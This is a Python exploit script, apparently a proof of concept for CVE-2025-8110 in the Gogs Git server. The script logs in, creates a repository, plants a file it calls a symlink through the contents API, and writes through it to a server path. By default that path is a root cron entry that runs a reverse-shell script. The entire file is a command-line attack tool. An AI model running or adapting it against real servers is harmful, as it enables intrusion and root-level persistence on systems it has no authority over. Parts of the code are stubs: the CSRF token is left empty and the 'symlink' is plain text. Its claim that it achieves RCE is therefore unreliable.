#!/usr/bin/env python3
# CVE-2025-8110 PoC - Gogs PutContents API Symlink Exploitation
# This PoC demonstrates exploiting improper symlink handling in Gogs PutContents API
import requests
import argparse
import json
import base64
import hashlib
class GogsExploit:
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.token = None
def login(self):
"""Authenticate to Gogs and obtain access token"""
login_url = f"{self.target_url}/user/login"
data = {
'user_name': self.username,
'password': self.password,
'_csrf': self.get_csrf_token(login_url)
}
response = self.session.post(login_url, data=data, allow_redirects=False)
return response.status_code in [200, 302, 303]
def get_csrf_token(self, url):
"""Extract CSRF token from page"""
response = self.session.get(url)
# In real attack, parse CSRF token from response
return ''
def create_repo(self, repo_name):
"""Create a new repository"""
create_url = f"{self.target_url}/repo/create"
data = {
'repo_name': repo_name,
'_csrf': self.get_csrf_token(f"{self.target_url}/repo/create")
}
response = self.session.post(create_url, data=data)
return repo_name in response.text
def create_symlink(self, repo_name, symlink_path, target_path):
"""Create a symlink file pointing to target path"""
# Create symlink content
symlink_content = f"../{target_path}" if '..' not in target_path else target_path
api_url = f"{self.target_url}/api/v1/repos/{self.username}/{repo_name}/contents"
data = {
'content': base64.b64encode(symlink_content.encode()).decode(),
'path': symlink_path,
'message': f'Create symlink to {target_path}'
}
response = self.session.post(api_url, json=data)
return response.status_code in [200, 201]
def write_via_putcontents(self, repo_name, symlink_path, content):
"""Write content through symlink using PutContents API"""
api_url = f"{self.target_url}/api/v1/repos/{self.username}/{repo_name}/contents/{symlink_path}"
data = {
'content': base64.b64encode(content.encode()).decode(),
'message': 'Write malicious content via symlink'
}
response = self.session.put(api_url, json=data)
return response.status_code in [200, 201]
def exploit(self, repo_name, target_file, malicious_content):
"""Execute exploit chain"""
print(f"[*] Logging into Gogs as {self.username}...")
if not self.login():
print("[-] Login failed")
return False
print("[+] Login successful")
print(f"[*] Creating repository: {repo_name}")
if not self.create_repo(repo_name):
print("[-] Repository creation failed")
return False
print("[+] Repository created")
print(f"[*] Creating symlink to {target_file}")
symlink_name = f"link_to_{hashlib.md5(target_file.encode()).hexdigest()[:8]}"
if not self.create_symlink(repo_name, symlink_name, target_file):
print("[-] Symlink creation failed")
return False
print("[+] Symlink created")
print(f"[*] Writing malicious content to {target_file} via symlink")
if not self.write_via_putcontents(repo_name, symlink_name, malicious_content):
print("[-] Content write failed")
return False
print("[+] Malicious content written successfully")
print("[!] Exploit completed - RCE achieved via symlink attack")
return True
def main():
parser = argparse.ArgumentParser(description='CVE-2025-8110 Gogs Symlink RCE Exploit')
parser.add_argument('--url', required=True, help='Target Gogs URL')
parser.add_argument('--user', required=True, help='Username')
parser.add_argument('--pass', dest='password', required=True, help='Password')
parser.add_argument('--target', default='/etc/cron.d/malicious', help='Target file path')
parser.add_argument('--content', default='* * * * * root /tmp/revshell.sh', help='Malicious content')
parser.add_argument('--repo', default='exploit_repo', help='Repository name')
args = parser.parse_args()
exploit = GogsExploit(args.url, args.user, args.password)
exploit.exploit(args.repo, args.target, args.content)
if __name__ == '__main__':
main()